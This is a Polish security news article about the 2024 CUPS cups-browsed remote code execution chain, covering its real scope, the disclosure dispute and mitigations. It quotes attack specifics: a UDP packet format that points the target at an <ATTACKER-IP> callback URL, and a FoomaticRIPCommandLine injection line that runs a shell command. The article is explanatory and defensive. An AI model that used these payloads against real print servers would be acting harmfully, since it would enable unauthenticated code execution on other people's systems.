Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Krytyczna podatność, która „miała wstrząsnąć światem Linuksa” okazała się być podatnością w systemie druku pod Linuksem (CUPS)

27 września 2024, 10:39 | Aktualności | komentarze 4

Poważna luka w każdym Linuksie! CVSS 9.9/10! Armageddon! Koniec świata dla Linuksa! Tak mogły brzmieć dzisiejsze nagłówki serwisów związanych z bezpieczeństwem… ale nie będą.

Błąd w każdym Linuksie okazał się być ciągiem błędów w systemie drukowania CUPS. Krytyczne zdalne wykonanie kodu może i jest krytyczne, może i pozwala na zdalne wykonanie kodu bez uwierzytelniania, ale nie tego spodziewali się entuzjaści cyberbezpieczeństwa. Istny rollercoaster alarmistycznych wiadomości oraz smutna historia rozgoryczenia badacza bezpieczeństwa. Ale po kolei. 

Po pierwsze nie jest to błąd dotykający całego “Linuxa” jak mogły sugerować początkowe wpisy. Problem dotyczy systemów z nasłuchującą usługą cups-browsed, która nie jest, w większości przypadków, włączana automatycznie. Po drugie, luka miała zostać opublikowana dopiero za dwa tygodnie, jednak w wyniku wycieku z CERT VINCE, badacz Simone Margaritelli (@evilsocket znany między innymi jako autor bettercapa i pwnagotchi), zdecydował się na wcześniejszą publikację. Prawdą natomiast jest fakt, że przy spełnieniu pewnych warunków możliwe jest wykonanie kodu na zdalnym systemie bez uwierzytelnienia. Wycena podatności według skali CVSS na 9.9 może więc być trochę “na wyrost”. evilsocket twierdzi, że opublikuje w najbliższym czasie też dwa kolejne posty opisujące między innymi eksploitację MacOS. Na ten moment udostępniony został również PoC. Uspokajamy – do wykonania kodu wymagana jest niestandardowa konfiguracja (działająca usługa cups-browsed) oraz działanie użytkownika (uruchomienie wydruku na zespoofowanej drukarce), chociaż istnieją przesłanki, pozwalające sądzić, że istnieje zdalne, unauth RCE. Jednak na ten moment nie mamy na ten temat informacji, które by to potwierdzały. 

CUPS (Common UNIX Printing System) to otwartoźródłowy, modularny system druku dla systemów uniksowych, w tym GNU/Linux oraz macOS. Umożliwia zarządzanie i obsługę zadań drukowania na drukarkach lokalnych i zdalnych. Projekt obsługuje Internet Printing Protocol (IPP) oraz wiele innych modułów i sterowników drukarek. Choć CUPS nie wchodzi w skład systemu GNU/Linux, ani nawet nie jest komponentem instalowanym domyślnie, to zdarza się, że niektóre obrazy będą zawierały zainstalowanego i skonfigurowanego podstawowo CUPSa (użytkownicy zwracają uwagę, że należy sporzjeć również na SNAPa).

CUPS jest modularny, a jedną z części projektu jest cups-browsed – pomocniczy daemon odpowiedzialny za wykrywanie drukarek sieciowych, dodawanie ich do systemu, obsługę IPP oraz tworzenie kolejek wydruków. Nasłuchuje domyślnie jako proces w kontekście użytkownika root, na porcie 631 (UDP) (rysunek 1).

Rysunek 1 Listing nasłuchujących procesów na portach TCP i UDP z cups w nazwie (źródło: evilsocket)

Proces binduje się do INADDR_ANY (listing 1) i oczekuje na na przesłanie datagramu UDP zawierającego informacje w postaci HEX_NUMBER HEX_NUMBER TEXT_DATA. Kod sprawdza kto jest nadawcą przesłanego komunikatu, ale domyślna konfiguracja nie definiuje tutaj żadnych ograniczeń. 

...
struct sockaddr_in addr;
memset (&addr, 0, sizeof (addr));
addr.sin_addr.s_addr = htonl (INADDR_ANY);
addr.sin_family = AF_INET;
addr.sin_port = htons (BrowsePort);
if (bind (browsesocket, (struct sockaddr *)&addr, sizeof (addr)))
{
    debug_printf("failed to bind CUPS Browsing socket: %s\n",
        strerror (errno));
    close (browsesocket);
    browsesocket = -1;
}
...

Listing 1. Fragment kodu odpowiedzialny za nasłuchiwanie na INADDR_ANY

Ponieważ jest to daemon obsługujący protokół IPP, to przesłanie pakietu zawierającego 0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever powoduje połączenie zwrotne pod adres podany w przesłanym datagramie (rysunek 2), w celu pobrania właściwości urządzenia. Informacje te zapisywane są w tymczasowym pliku PPD wykorzystywanym do opisu drukarki w systemie. 

Rysunek 2. Połączenie zwrotne i wyciek informacji (wersja kernela) (źródło: evilsocket)

Po wykryciu drukarki przez DNS-SD/mDNS lub AVAHI – cups-browsed automatycznie kontaktuje się z urządzeniem wysyłając zapytanie Get-Printer-Attributes. W zapytaniu tym przesyłana jest między innymi informacja o wersji kernela (nagłówek User-Agent). 

Aby drukarka została dodana, wystarczy aby na to żądanie została wysłana poprawna odpowiedź. Możliwe jest też zespoofowanie drukarki (poprzez podmianę IPP URL w odpowiedzi). To z kolei spowoduje, że atak będzie trudniejszy do wykrycia. 

Przesłane przez atakującego, który dodaje drukarkę, właściwości są przetwarzane przez API, które generuje tymczasowy plik PPD. Parametry ustalone przez atakującego nie podlegają żadnemu filtrowaniu bądź sprawdzeniu i zostają zapisane w pliku PPD. Włoski badacz wskazał kilka parametrów, które w przypadku przesłania zadania druku – powodują wywołanie komendy na serwerze druku (listing 2). 

*FoomaticRIPCommandLine: "echo 1 > /tmp/PWNED"
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip"

Listing 2. Command injection z wykorzystaniem filtra foomatic-rip (źródło: evilsocket)

Co ciekawe, podatność ta została już raz załatana kilka lat wcześniej, jednak poprawka nie została dodana do jednego z filtrów. 

Ale to nie koniec problemów i niejasności. Okazuje się, że badacz przyjrzał się dokładniej implementacji parserów wykorzystując między innymi technikę fuzzingu przy pomocy znanego narzędzia AFL++.

Rysunek 3. Zrzut z ekranu z AFL++ prezentujący odkrycie danych wejściowych, dla których program został zakończony w wyniku błędu typu memory corruption

Niestety jak przyznaje evilsocket – zgłosił tylko swoje uwagi do CERTu oraz developerów – natomiast z powodu braku doświadczenia w tej materii, nie był w stanie przygotować PoCa ilustrującego wykorzystanie podatności typu stack-based buffer overflow. Oprócz tego, w opisie autora, pojawiła się wzmianka o możliwym race condition oraz DoS. Tak samo jak w przypadku przepełnienia na stosie, przypuszczenia te zostały jedynie nakreślone, bez szczegółowych informacji. 

W tym miejscu warto zauważyć, że problemy były przez badacza raportowane od dłuższego czasu. Z jego opisu wynika, że nie został on potraktowany dostatecznie poważnie. Zarzuca CERTowi oraz przede wszystkim developerom CUPSa nieprofesjonalne zachowanie oraz próbę zmniejszenia wagi znaleziska. I o ile rzeczywiście, nie jest to błąd na miarę nowego ShellShocka albo Log4Shell, o tyle w pewnych sytuacjach (wcale nie takich nieprawdopodobnych) może prowadzić do poważnych konsekwencji. 

Rysunek 4. Raport z shodana, prezentujący liczbę serwerów z wystawionym do internetu CUPSem. (źródło: x, data wykonania: 29.09.2024)

Zastanawiający jest również fakt, że na pewnym forum cyberprzestępców pojawił się wpis, przed upływem embarga informacyjnego, zawierający raport przesłany do CERT przy Carnegie Mellon University. 

By the way, CERT’s VINCE either has a backdoor, or an inside leak, or has zero vetting on who they add to a disclosure, because there’s been a leak of the exact markdown report that I only shared there, including the exploit.

Schemat procesu eksploitacji można przedstawić w następujący sposób (rysunek 5). 

Rysunek 5. Schemat eksploitacji podatności.

Podsumowując, chociaż informacje o poważnej luce w systemie Linux nie do końca się potwierdziły, to zalecamy niezwłoczną aktualizację oraz wyłączenie usługi cups-browsed jeśli nie jest potrzebna. Blokada portu 631 dla ruchu UDP oraz DNS-SD też jest dobrym podejściem. A my czekamy na kolejne części publikacji, mające dotyczyć systemów MacOS oraz technik eksploitacji. 

~fc, barteq, zygzak, tt

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Ironik

    Czyli wychodzi na to, że przy eksploitacji jako użytkownik 'lp’ można sobie podziałać? 😉

    Odpowiedz
  2. Sławomir

    Na moim systemie port jest zablokowany. Odczytałem adres IP kompa z appletu, a potem próbowałem wbić na odpowiedni port i odrzuciło połączenie. Usługa jest uruchomiona w systemie.

    Odpowiedz
  3. Bill

    Ojoj …. Apple…

    Odpowiedz
  4. SeeM

    Tylko raz spotkałem się w Polsce z przypadkiem, kiedy port 631 był otwarty na internet. A tu się okazuje, że taka Korea to potęga na rynku wydruku zdalnego. Oni tym fax sobie zastąpili, czy co?

    Odpowiedz

Odpowiedz